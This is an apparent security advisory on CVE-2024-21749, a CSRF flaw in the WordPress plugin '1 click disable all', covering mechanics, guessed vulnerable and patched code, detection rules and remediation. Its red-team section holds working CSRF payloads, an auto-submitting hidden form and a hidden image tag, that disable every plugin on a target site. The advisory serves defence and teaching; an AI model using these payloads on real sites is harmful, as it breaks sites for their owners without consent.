CVE-2024-21749

Executive Summary

CVE-2024-21749 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin "1 click disable all" by Atakan Au, affecting all versions up to and including 1.0.1. This plugin allows an attacker to forge requests that can disable all plugins on a WordPress site without the administrator's knowledge or consent. The vulnerability has a CVSS score of 5.4 (Medium) and a very low EPSS score of 0.0%, indicating it is not currently being actively exploited in the wild. However, the lack of a patch and the potential for significant disruption to a WordPress site make this a notable security concern for site administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin "1 click disable all" is distributed through the official WordPress plugin repository. As a supply chain risk, any site using this plugin is vulnerable. The vendor (Atakan Au) has not released a patch, and the plugin may have been abandoned. Site administrators should consider this plugin as a potential supply chain risk and remove it immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim (admin) must click a link or visit a malicious page.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): None (N) - No data is exposed.
• Integrity (I): Low (L) - The attacker can disable plugins, affecting site functionality.
• Availability (A): Low (L) - The attack can cause a denial of service by disabling all plugins.

Threat Level: Medium. While the impact is limited to disabling plugins, this can completely break a WordPress site's functionality, leading to a significant denial of service.

Deep Dive & Mechanics

The vulnerability lies in the WordPress plugin "1 click disable all". The plugin likely provides an admin interface with a button or link that, when clicked, disables all active plugins. The core issue is that this action is not protected by a CSRF nonce. A CSRF nonce is a unique, random token that WordPress generates for each user session. It is used to verify that a request to perform a sensitive action (like disabling all plugins) is intentional and comes from the authenticated user.

Without a nonce, an attacker can craft a malicious link or HTML form that, when visited by an authenticated WordPress administrator, will send a forged request to the plugin's action handler. The server, unable to distinguish the forged request from a legitimate one, will execute the action and disable all plugins.

The attack flow is as follows:

1. An attacker identifies a WordPress site using the vulnerable plugin.
2. The attacker crafts a malicious link or embeds a hidden form on a website they control.
3. The attacker lures an authenticated WordPress admin to visit the malicious page (e.g., via phishing email, social media, or a compromised site).
4. The admin's browser sends a request to the vulnerable WordPress site, including the admin's session cookies.
5. The plugin's handler receives the request, sees the valid session, and disables all plugins.
6. The site's functionality is severely degraded or broken.

Vulnerable vs. Patched Code

Since no official patch exists, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (PHP):

// In the plugin's admin handler
function disable_all_plugins_handler() {
    // No nonce check here
    if ( current_user_can( 'activate_plugins' ) ) {
        deactivate_plugins( array_keys( get_plugins() ) );
        wp_redirect( admin_url( 'plugins.php' ) );
        exit;
    }
}

Patched Code (Hypothetical):

function disable_all_plugins_handler() {
    // Add nonce check
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'disable_all_plugins_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( current_user_can( 'activate_plugins' ) ) {
        deactivate_plugins( array_keys( get_plugins() ) );
        wp_redirect( admin_url( 'plugins.php' ) );
        exit;
    }
}

The key difference is the addition of wp_verify_nonce() to ensure the request is legitimate.

Exploitation & Lab Setup

Red Team

Objective: Disable all plugins on a target WordPress site.

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An authenticated admin user session (you need to trick the admin into clicking your link).

Exploit Steps:

1. Craft the Malicious Payload: Create an HTML page with a hidden form that auto-submits to the vulnerable endpoint. The endpoint is likely wp-admin/admin-post.php or a custom admin page.

   <html>
   <body>
   <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
       <input type="hidden" name="action" value="disable_all_plugins" />
   </form>
   <script>
       document.getElementById('csrf_form').submit();
   </script>
   </body>
   </html>
   

2. Host the Payload: Host this HTML file on a server you control or use a URL shortener.
3. Deliver the Payload: Send the link to the target admin via email, social media, or a compromised site.
4. Execute: When the admin visits the link, the form auto-submits, and the plugins are disabled.

Alternative Payload (Image Tag):

<img src="http://target-site.com/wp-admin/admin-post.php?action=disable_all_plugins" style="display:none;" />

Blue Team

Detection & Prevention:

1. Remove the Plugin: Immediately deactivate and delete the "1 click disable all" plugin.
2. Monitor Admin Activity: Look for unusual patterns in admin activity logs, especially the deactivate_plugins action being called for all plugins simultaneously.
3. Implement CSRF Protections: Ensure all admin actions in custom plugins use WordPress nonces.
4. User Education: Train administrators to be cautious of unsolicited links and to verify the URL before clicking.

Lab Setup for Testing:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install the vulnerable plugin (version 1.0.1).
3. Log in as an admin.
4. Create a simple HTML file with the CSRF payload.
5. Open the HTML file in a different browser or incognito window (to simulate a separate session).
6. Observe that all plugins are disabled.

Indicators of Compromise (IOCs)

• Network Traffic: A GET or POST request to /wp-admin/admin-post.php with parameter action=disable_all_plugins originating from an unexpected referrer.
• System State: All plugins suddenly deactivated on a WordPress site.
• Logs: WordPress debug log (if enabled) showing a call to deactivate_plugins() with an array of all plugin paths.
• File System: No specific file changes, but the wp_options table may show changes in the active_plugins option.

Detection Engineering

YARA Rule

rule Detect_Vulnerable_Plugin_1ClickDisableAll {
    meta:
        description = "Detects the vulnerable 1 click disable all plugin files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-21749"
    strings:
        $plugin_header = "Plugin Name: 1 click disable all"
        $vuln_function = "deactivate_plugins" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $plugin_header and $vuln_function and not $no_nonce
}

Sigma Rule

title: CSRF Attack Against 1 Click Disable All Plugin
id: cve-2024-21749-csrf
status: experimental
description: Detects potential CSRF attempts to disable all WordPress plugins
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=disable_all_plugins'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-21749 CSRF Attempt - 1 Click Disable All"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=disable_all_plugins"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the Plugin: Deactivate and delete the "1 click disable all" plugin from all WordPress installations.
2. Restore Plugins: If plugins were disabled, manually re-enable them from the WordPress admin panel (/wp-admin/plugins.php).

Long-Term Mitigations:

1. Vendor Contact: Attempt to contact the plugin author (Atakan Au) for a patch. If unresponsive, consider the plugin abandoned.
2. Alternative Solutions: Use a different plugin or a custom script with proper CSRF protections if the functionality is needed.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests to admin-post.php with action=disable_all_plugins unless they contain a valid nonce.
4. Regular Audits: Regularly audit installed plugins for known vulnerabilities and remove those that are unmaintained.

Code Fix (If you maintain the plugin): Add a nonce check to the action handler:

function disable_all_plugins_handler() {
    if ( ! isset( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'disable_all_plugins' ) ) {
        wp_die( 'CSRF detected.' );
    }
    // ... rest of the code
}

Valters IT
Securing Digital Frontiers